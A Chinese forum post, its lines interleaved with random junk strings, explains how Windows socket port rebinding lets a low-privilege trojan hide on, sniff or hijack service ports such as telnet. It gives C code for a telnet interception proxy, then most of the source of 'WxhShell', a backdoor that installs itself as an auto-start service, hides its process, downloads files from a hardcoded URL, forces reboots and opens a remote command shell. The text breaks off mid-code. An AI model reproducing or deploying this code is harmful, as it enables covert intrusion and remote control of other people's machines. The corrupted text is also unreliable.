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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h <e  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Hl`OT5 pNf  
db~^Gqv6k  
  saddr.sin_family = AF_INET; UB.1xcI  
UxL*I[z5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5X20/+aT  
HwHF8#D*l  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O;~e^ <*  
)[ A-d(y=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (iX8YP$%  
H"FK(N\  
  这意味着什么?意味着可以进行如下的攻击: *{3d+j/?/  
l::q F 0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QQBh)5F  
B:T s_9*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) J-hJqR*;K  
Jqj!k*=/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g%&E~V/g$  
>E>yA d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HEBeJ2w  
1Z) Et,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8cG?p  
G IN|cv=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #B;P4n3  
c,4~zN8Ou  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,B[j{sE  
tw_o?9  
  #include 7q+D}+ Xf  
  #include 1(gs({  
  #include T&lgWOls  
  #include    TI'v /=;)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9B!Sv/)y!r  
  int main() mux/\TII  
  { ;cXw;$&D  
  WORD wVersionRequested; B n7uKa{P  
  DWORD ret; 6nZ]y&$G-k  
  WSADATA wsaData; Ipk;Nq  
  BOOL val; 0G+Q^]0  
  SOCKADDR_IN saddr; nF@**,C Q  
  SOCKADDR_IN scaddr; UGSZg|&6#*  
  int err; {V6&((E8  
  SOCKET s; oZa'cZNs  
  SOCKET sc; J,F1Xmr4  
  int caddsize; 8M99cx*K  
  HANDLE mt; wM+1/[7  
  DWORD tid;   ^.6[vmmq  
  wVersionRequested = MAKEWORD( 2, 2 ); ( zWBrCX  
  err = WSAStartup( wVersionRequested, &wsaData ); <0})%V?-  
  if ( err != 0 ) { X:oOp=y]|  
  printf("error!WSAStartup failed!\n"); `}EnY@*h  
  return -1; krUtOVI  
  } CRK%^3g  
  saddr.sin_family = AF_INET; ; Z]Wj9iY  
   ij ?7MP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  r{;NGQYs  
yp#!$+a}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7%y$^B7{  
  saddr.sin_port = htons(23); $ln8Cpbca  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BpZ~6WtBq  
  { lL}NiN-)t  
  printf("error!socket failed!\n"); zMsup4cl  
  return -1;  T Rv  
  } l~i?  
  val = TRUE; &DLWlMGq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 dHy9 wU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wXIRn?z  
  { B*T n@t W  
  printf("error!setsockopt failed!\n"); jH< #)R  
  return -1; 1&|]8=pG7  
  } 2? qC8eC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $aV62uNf  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =Hg!@5]H  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  6:zPWJB  
JOJ.79CT  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vGkem J^/  
  { w:5?ofC  
  ret=GetLastError(); o{PG& }K  
  printf("error!bind failed!\n"); !*-|!Vz  
  return -1; Pk;\^DRC  
  } `D4Wg<,9  
  listen(s,2); -c_l nK  
  while(1) AY /9Io-  
  { .KrLvic  
  caddsize = sizeof(scaddr); danPy2  
  //接受连接请求 rtj/&>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )x6 &Y  
  if(sc!=INVALID_SOCKET) t7f(%/] H0  
  { M~A# _%2U  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S%iK);  
  if(mt==NULL) `?z('FV  
  { X q?>a+B  
  printf("Thread Creat Failed!\n"); B!wN%> U  
  break; l77 -I:  
  } =A'>1N  
  } S2$66xr#  
  CloseHandle(mt); {KG}m'lx  
  } # EvRm  
  closesocket(s); 7m2iL#5[  
  WSACleanup(); uj8saNu  
  return 0; 287j,'vR  
  }   QTHY{:Rmu  
  DWORD WINAPI ClientThread(LPVOID lpParam) )]fsl_Yq  
  { 3Bl|~K;-  
  SOCKET ss = (SOCKET)lpParam; UD-+BUV  
  SOCKET sc; |{#St-!-7  
  unsigned char buf[4096]; QLJ\>  
  SOCKADDR_IN saddr; ]64Pk9z=  
  long num; C m:AU;  
  DWORD val; c8&3IzZ  
  DWORD ret; W`[VLi}fe  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ca~8cQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,;pUBrz/[  
  saddr.sin_family = AF_INET; dcf,a<K\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jr` swyg  
  saddr.sin_port = htons(23); "yu{b]AU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I): c#  
  { ?/.])'&b  
  printf("error!socket failed!\n"); hk?i0#7W  
  return -1; HZ9>4G3  
  } Qsbyy>o)  
  val = 100; QNbZ)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hi(b\ ABx  
  { 5iw\F!op:  
  ret = GetLastError(); I'5[8  
  return -1; sX"L\v  
  } Fl)nmwO c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %e:+@%]  
  { F@<cp ?dR  
  ret = GetLastError(); >g$iO`2  
  return -1; E-WpsNJ)X  
  } lf=G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <WUgH6"  
  { PhAfEsD  
  printf("error!socket connect failed!\n"); "09v6Tx  
  closesocket(sc); [A~?V.G  
  closesocket(ss); #._JB-,'  
  return -1; /we]i1-9  
  } -53c0g@X  
  while(1) lat5n&RP Y  
  { n.l#(`($4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /`m* PgJ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;Rv WF )  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o(tJc}Mh+(  
  num = recv(ss,buf,4096,0); Uh0g !zzp  
  if(num>0) fq>{5ODO  
  send(sc,buf,num,0); |eRE'Wd0  
  else if(num==0) &k'<xW?x  
  break; ,u}wW*?,sT  
  num = recv(sc,buf,4096,0); !$NK7-  
  if(num>0) B 2NIV7  
  send(ss,buf,num,0); CzlG#?kU?2  
  else if(num==0) (PPC?6s  
  break; M[qhy.  
  } ?b7ttlX{  
  closesocket(ss); : ;8L1'  
  closesocket(sc); ^|<>`i6  
  return 0 ; kI"9T`owR  
  } ! >F70  
nReIi;pi  
! VT$U6  
========================================================== {+lU4u  
s17)zi,?4  
下边附上一个代码,,WXhSHELL GJdL1ptc  
u.A}&'H  
========================================================== 3/gR}\=  
+X#6 d v$  
#include "stdafx.h" :?UcD_F  
<oXBkCi0r  
#include <stdio.h> 3[Q7'\  
#include <string.h> |cd "cx+  
#include <windows.h> W$X/8K bn  
#include <winsock2.h> @:im/SE  
#include <winsvc.h> 53hX%{3  
#include <urlmon.h> &B5&:ib1D  
Z,p@toj'  
#pragma comment (lib, "Ws2_32.lib") d%I7OBBx@  
#pragma comment (lib, "urlmon.lib") o~'p&f  
qUfoEpW2=6  
#define MAX_USER   100 // 最大客户端连接数 GLIY!BU<C  
#define BUF_SOCK   200 // sock buffer "$N$:B@U  
#define KEY_BUFF   255 // 输入 buffer jOCV)V9}  
F=Xb_Gd`  
#define REBOOT     0   // 重启 3rK\ f4'  
#define SHUTDOWN   1   // 关机 8GBKFNR 8  
KC"S0 6  
#define DEF_PORT   5000 // 监听端口 Rk5#5R n  
-0xo6'mD  
#define REG_LEN     16   // 注册表键长度 Zb_A(mnzh  
#define SVC_LEN     80   // NT服务名长度 1>[#./@  
Ep(xlHTv  
// 从dll定义API z4 =OR@ h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }J?,?>Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y;R,ph.a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g}R#0gkdk}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E-^(VZ_Xj  
rV\G/)xL  
// wxhshell配置信息 }8AH/  
struct WSCFG { kxJs4BY0  
  int ws_port;         // 监听端口 o6^ETQ  
  char ws_passstr[REG_LEN]; // 口令 TfJ*G6\7e#  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3XB`|\:  
  char ws_regname[REG_LEN]; // 注册表键名 t;Z9p7rk  
  char ws_svcname[REG_LEN]; // 服务名 k>i`G5Dh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )^8[({r~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R<f F ^^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p8XvfM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4RctYMz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _N:$|O#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '+Jy//5?  
v5@4 |u3ds  
}; 0,-]O=   
X9PbU1o;  
// default Wxhshell configuration )a0l:jEOc  
struct WSCFG wscfg={DEF_PORT, ;HAvor=?  
    "xuhuanlingzhe", r]-n,  
    1, Ae=JG8Ht~  
    "Wxhshell", IG|u;PH<  
    "Wxhshell", <V)z{uK  
            "WxhShell Service", J;<dO7j5  
    "Wrsky Windows CmdShell Service", fn/?I \  
    "Please Input Your Password: ", s#<fj#S  
  1, X*MK(aV3  
  "http://www.wrsky.com/wxhshell.exe", Z^Um\f   
  "Wxhshell.exe" Z796;qk  
    }; |X*y-d77W  
VMF?qT3Nd  
// 消息定义模块 v .*fJ   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $@kOMT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Vo^J2[U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #|8%h  
char *msg_ws_ext="\n\rExit."; R`$Y]@i&B  
char *msg_ws_end="\n\rQuit."; CAx$A[f<  
char *msg_ws_boot="\n\rReboot..."; $aEv*{$y  
char *msg_ws_poff="\n\rShutdown..."; I*j~5fsS'  
char *msg_ws_down="\n\rSave to "; _QHk&-Lp  
T}z? i  
char *msg_ws_err="\n\rErr!"; x]`F#5j  
char *msg_ws_ok="\n\rOK!"; VOC$Kqg;  
@C^x&Sjm  
char ExeFile[MAX_PATH]; SVZ@'X\[M  
int nUser = 0; F#yn'j8  
HANDLE handles[MAX_USER]; Y,L[0%  
int OsIsNt; X]9<1[f  
lH?jqp  
SERVICE_STATUS       serviceStatus; qi~-<qW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [(g2u@  
2.</n}g  
// 函数声明 ]%-U~avph  
int Install(void); 4Th?q{X  
int Uninstall(void); g$2#TWW5  
int DownloadFile(char *sURL, SOCKET wsh); [;aM8N  
int Boot(int flag); |wJdp,q R  
void HideProc(void); $bp$[fX(e  
int GetOsVer(void); ^w%%$9=:r  
int Wxhshell(SOCKET wsl); wQhuU  
void TalkWithClient(void *cs); 8mmnnf{P  
int CmdShell(SOCKET sock); .|u`s,\  
int StartFromService(void); *tT}N@<%  
int StartWxhshell(LPSTR lpCmdLine); PA803R74  
.7 )oWd!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SIm1fC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \>*.+?97  
|J`v w  
// 数据结构和表定义 l x;87MDs  
SERVICE_TABLE_ENTRY DispatchTable[] = sZ&6g<8#y  
{ ts(u7CJd  
{wscfg.ws_svcname, NTServiceMain}, Gjq7@F'  
{NULL, NULL} LCS.C(n,  
}; SJX9oVJeZ  
`-CN\  
// 自我安装 4a& 8G  
int Install(void) eD(5+bm  
{ ld#x'/  
  char svExeFile[MAX_PATH]; b{-"GqMO  
  HKEY key; !oXFDC3k  
  strcpy(svExeFile,ExeFile);  k4<28  
irm4lb5  
// 如果是win9x系统,修改注册表设为自启动 Q jXJo$I6  
if(!OsIsNt) { aaf}AIL.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f*"T]AX0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M`q|GY  
  RegCloseKey(key); Eo ^m; p5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,6MJW#~]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oV['%Z'  
  RegCloseKey(key); K%L6UQ;  
  return 0; 6^J[SQ6P  
    } *7Y#G8 s  
  } &qPezyt  
} p{_*<"cfYn  
else { QsxvA;7%  
wmVb0~[  
// 如果是NT以上系统,安装为系统服务 Q[#8ErUY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &d6ud |  
if (schSCManager!=0) c\>I0HH;!  
{ 9 4H')(  
  SC_HANDLE schService = CreateService t\QLj&h}E  
  ( $X-PjQb1Bb  
  schSCManager, |uz<)  
  wscfg.ws_svcname, <Qv/# k  
  wscfg.ws_svcdisp, \reVA$M [  
  SERVICE_ALL_ACCESS, 1E||ft-1i*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XRkUv>Yk  
  SERVICE_AUTO_START, ><IWF#kUA  
  SERVICE_ERROR_NORMAL, IEm~^D#<=  
  svExeFile, (||qFu9a  
  NULL, "XV@O jr E  
  NULL, Q_fgpjEh/t  
  NULL, M0C)SU5"  
  NULL, _2`b$/)-  
  NULL ;u(*&vRqr^  
  ); T ?[;ej:  
  if (schService!=0) aj|PyX3P:  
  { S]%,g%6i  
  CloseServiceHandle(schService); R!/JZ@au<  
  CloseServiceHandle(schSCManager); 4P)#\$d:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  ? .SiT5  
  strcat(svExeFile,wscfg.ws_svcname); Va.TUz4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Md>C!c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MUZ]*n&0  
  RegCloseKey(key); >Ho=L)u  
  return 0; RuVk>(?WK%  
    } Bi;a~qE  
  } }OnU32P  
  CloseServiceHandle(schSCManager); #l&*&R~>  
} 03|nP$g  
} 1;kMbl]  
8;"%x|iBoL  
return 1; g8'8"9:xC  
} "]p&7  
DFZ@q=ZT  
// 自我卸载 b@4UR<  
int Uninstall(void) !D{z. KO  
{ HH6H4K3Zj  
  HKEY key; ^|vk^`S  
bG"FN/vg  
if(!OsIsNt) { u=s,bt,"5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a""9%./B  
  RegDeleteValue(key,wscfg.ws_regname); t1 9f%d  
  RegCloseKey(key); \VIY[6sn\M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >{~xO 6H  
  RegDeleteValue(key,wscfg.ws_regname); mYJ8O$  
  RegCloseKey(key); W[`ybGR<  
  return 0; ZBY}Mz$  
  } [#\OCdb*3  
} E$:2AK{*  
} 6A5.n?B{  
else { Rl0"9D87z  
%YF /=l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {_.(,Z{  
if (schSCManager!=0) mMZrBz7r  
{ B[YyA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FdnLxw  
  if (schService!=0) I+kL;YdS  
  { 3l`"(5  
  if(DeleteService(schService)!=0) { YZOwr72VL  
  CloseServiceHandle(schService); hTZ6@i/pS  
  CloseServiceHandle(schSCManager);  )$f?v22  
  return 0; }D)eS |B  
  } 3I}AA.h'00  
  CloseServiceHandle(schService); $,r%@'=&  
  } AIQ {^:  
  CloseServiceHandle(schSCManager); {U3jJ#K  
} \pK&gdw  
} ?Q=(?yR0]  
am.d^'  
return 1; ;}S_PnwC@  
} 4mp)v*z  
CpX[8>&osD  
// 从指定url下载文件 {P?DkUO}  
int DownloadFile(char *sURL, SOCKET wsh) t xnH~;(  
{ t'W6Fmwkx  
  HRESULT hr; B[8 RBTsA  
char seps[]= "/"; 8R\6hYJ%F  
char *token; [D+PDR  
char *file; GFbn>dY  
char myURL[MAX_PATH]; G] tT=X[  
char myFILE[MAX_PATH]; <x;g9Z>(  
jM6$R1HX  
strcpy(myURL,sURL); F+R1}5-3cl  
  token=strtok(myURL,seps); ZT/f  
  while(token!=NULL) Z \ @9*  
  { zSsBbu:  
    file=token; LR#.xFQ+  
  token=strtok(NULL,seps); =M@)q y  
  } im:[ViR {  
9%ct   
GetCurrentDirectory(MAX_PATH,myFILE); m^ar:mK@  
strcat(myFILE, "\\"); q2*)e/}H  
strcat(myFILE, file); ]!P6Z?  
  send(wsh,myFILE,strlen(myFILE),0); tZ@&di:-F  
send(wsh,"...",3,0); BSSehe*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a8[%-eW,  
  if(hr==S_OK) n 78!]O  
return 0; \?e2qu/ C  
else 3bC-B!{;g  
return 1; f]Aa$\@b  
j;j~R3B  
} fWfhs}_  
13 JG[,w  
// 系统电源模块 ;2fzA<RkK  
int Boot(int flag) K]>4*)A:  
{ u\xrC\Ka  
  HANDLE hToken; G5 )"%G.  
  TOKEN_PRIVILEGES tkp; "k [$euV  
Wx;%W"a  
  if(OsIsNt) { fIx|0,D&7L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h;} fdk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZZ!6O/M  
    tkp.PrivilegeCount = 1; 'i3-mZ/|8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O@H D'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w\Q(wH'  
if(flag==REBOOT) { Oa@SyroF=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mpDxJk!   
  return 0; Z *l&<q>#  
} ~]W @+\l  
else { 066\zAPdH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d@Bd*iI<  
  return 0; \Z%_dT}  
} }Sh@.3*  
  } }\N ~%?6D  
  else { {}" <  
if(flag==REBOOT) { d--6<_q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eK3d_bF+  
  return 0; 7I(QTc)*  
} <Z]j89wzDZ  
else { E){ODyk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jgpF+V-n$  
  return 0; MbTmdRf  
} z'>b)wY](  
} 8193d%Wb  
@1pfH\m  
return 1; <Fl.W}?Q}  
} 4 l+z  
a)+*Gf7?  
// win9x进程隐藏模块 ), VF]  
void HideProc(void) 9a1R"%Z  
{ \)MzUOZn  
VeFfkg4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V5jy,Qi)  
  if ( hKernel != NULL ) b|k(:b-G&.  
  { a[!:`o1U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  V2 ;?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pnv)D}"  
    FreeLibrary(hKernel); ESS1 L$y  
  } 8j ky-r  
uAk>VPuuZ  
return; ?6MUyH]a  
} 1F2(MKOo!  
gIGi7x  
// 获取操作系统版本 ,MLAW  
int GetOsVer(void) 6TQ[2%X'  
{ vsq |m 5  
  OSVERSIONINFO winfo; +f^|Yi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4*q6#=G  
  GetVersionEx(&winfo); VjiwW%UOM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d.U"lP/)D  
  return 1; RM25]hx  
  else 9I1i(0q  
  return 0; <{eJbNp  
} %wJ>V-\e  
_(@V f=t  
// 客户端句柄模块 ZU 7u>  
int Wxhshell(SOCKET wsl) g</Mk^CE  
{ T+5H2]yy)  
  SOCKET wsh; ronZa0  
  struct sockaddr_in client; E.x<J.[Y  
  DWORD myID; ?*QL;[n1  
AY9#{c>X  
  while(nUser<MAX_USER) IJZx$8&A  
{ ZtI@$ An  
  int nSize=sizeof(client); d=HD! e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y1DbBDk  
  if(wsh==INVALID_SOCKET) return 1; B|AIl+y  
-BrJ5]T>*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N;cSR\Ng  
if(handles[nUser]==0) 9J}^{AA  
  closesocket(wsh); CT=5V@_u\  
else im mf\  
  nUser++; 8tT/w5  
  } _tnoq;X[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); catJC3  
]6WP;.[  
  return 0; |5BvVqn  
} 2d OUY $4  
wFL7JwK:G  
// 关闭 socket ]#FQde4]5  
void CloseIt(SOCKET wsh) s*e1m%  
{ ;l@Ge`&u  
closesocket(wsh); <+<,$jGC-  
nUser--; v +?'/Q%  
ExitThread(0); GRgpy  
} )Y=ti~?M(  
}A<fCm7  
// 客户端请求句柄  7"])Y  
void TalkWithClient(void *cs) G/_8xmsU  
{ #]wBXzu?  
'"V]>)  
  SOCKET wsh=(SOCKET)cs; e= ",58  
  char pwd[SVC_LEN]; 1L _(n  
  char cmd[KEY_BUFF]; MnW"ksH  
char chr[1]; ;'4Kg@/  
int i,j; }~ga86:n0  
n=h!V$X   
  while (nUser < MAX_USER) { -D_xA10  
|f[:mO   
if(wscfg.ws_passstr) { kl5Y{![/&f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RXhT{Ho(>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d]^\qeG^p  
  //ZeroMemory(pwd,KEY_BUFF); B}d)e_uLj  
      i=0; 4+N9Ylh  
  while(i<SVC_LEN) { ENZYrWl  
&WVRh=R  
  // 设置超时 ,Mu"r!MK  
  fd_set FdRead; 4m_CPe  
  struct timeval TimeOut; DV~g  
  FD_ZERO(&FdRead); idZ]d6  
  FD_SET(wsh,&FdRead); %wmbFj}  
  TimeOut.tv_sec=8; fj y2\J!  
  TimeOut.tv_usec=0; \'P79=AU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l`EKL2n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r 4+%9)  
P)06<n1">Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  BbNl:`  
  pwd=chr[0]; 1lHBg  
  if(chr[0]==0xd || chr[0]==0xa) { t[bZg9;  
  pwd=0; l]geQl:7`r  
  break; ]nx5E_j2  
  } XCE<].w  
  i++; t",b.vki\z  
    } !4fT<V (  
Y ^}c+)t  
  // 如果是非法用户,关闭 socket A}0u-W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P<R'S  
} PWN$x`h g[  
7V;wCm#b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >L88`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9*xv ,Yz8  
@t,Y< )U  
while(1) { ?~rz'Pu~  
Ccy0!re  
  ZeroMemory(cmd,KEY_BUFF); pm'i4!mY<P  
[hKt4]R  
      // 自动支持客户端 telnet标准   Znh) m  
  j=0; W0 N*c*k  
  while(j<KEY_BUFF) { _!E/ em  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d /`d:g  
  cmd[j]=chr[0]; T2MXwd&l  
  if(chr[0]==0xa || chr[0]==0xd) { TM`6:5ONv  
  cmd[j]=0; w?A6S-z  
  break; p!p:LSk"/b  
  } ,Zs*07!$f  
  j++; [O^mG 9  
    } Q~$hx{foN  
Gq;!g(  
  // 下载文件 t p3 !6I6  
  if(strstr(cmd,"http://")) { $or8z2d1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qM0Df0$?x  
  if(DownloadFile(cmd,wsh)) S1d{! ` 3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); , Y cF~  
  else eRvnN>L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); };nOG;  
  } Q`(.Blgm;  
  else { V=5v7Y3( j  
Qon>[<]B  
    switch(cmd[0]) { tLe"i>  
  ]MV=@T^8#  
  // 帮助 bRK[u\,  
  case '?': { 0z=^_Fb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '645Fr[lg  
    break; WRfhxl  
  } 3^p;'7x  
  // 安装 ]ZM-c~nL  
  case 'i': { |j~{gfpSE  
    if(Install()) u75(\<{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >iFi~)i_4y  
    else `ouCQ]tKz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nd61ns(N  
    break; 5vqh09-FB  
    } jmh$6 N% F  
  // 卸载 z)]Br1  
  case 'r': { Id 40yER  
    if(Uninstall()) {,zn#hU.R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PitDk 1T  
    else ^WmP,Xf#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #H/suQZN"g  
    break; w]Z:Y`  
    } IRB BLXv7\  
  // 显示 wxhshell 所在路径 ?UV!^w@L:0  
  case 'p': { g)Dg=3+>  
    char svExeFile[MAX_PATH]; Sv|jR r'  
    strcpy(svExeFile,"\n\r"); '7/c7m/$X<  
      strcat(svExeFile,ExeFile); R7~#7qKQB  
        send(wsh,svExeFile,strlen(svExeFile),0); X1~ WQ?ww  
    break; k5]`:k6  
    } 5Ak6q(\  
  // 重启 bf-V Q7  
  case 'b': { i[a1ij=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CxJkT2  
    if(Boot(REBOOT)) =@0/.oSD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $VyH2+ jC  
    else { V [r1bF  
    closesocket(wsh); Pvu*Y0_p  
    ExitThread(0); CWS&f g%o{  
    } a<mM )[U  
    break; \N"=qw^ t  
    } dSw%Qv*y  
  // 关机 QPT%CW61M  
  case 'd': { yOXL19d@p_  
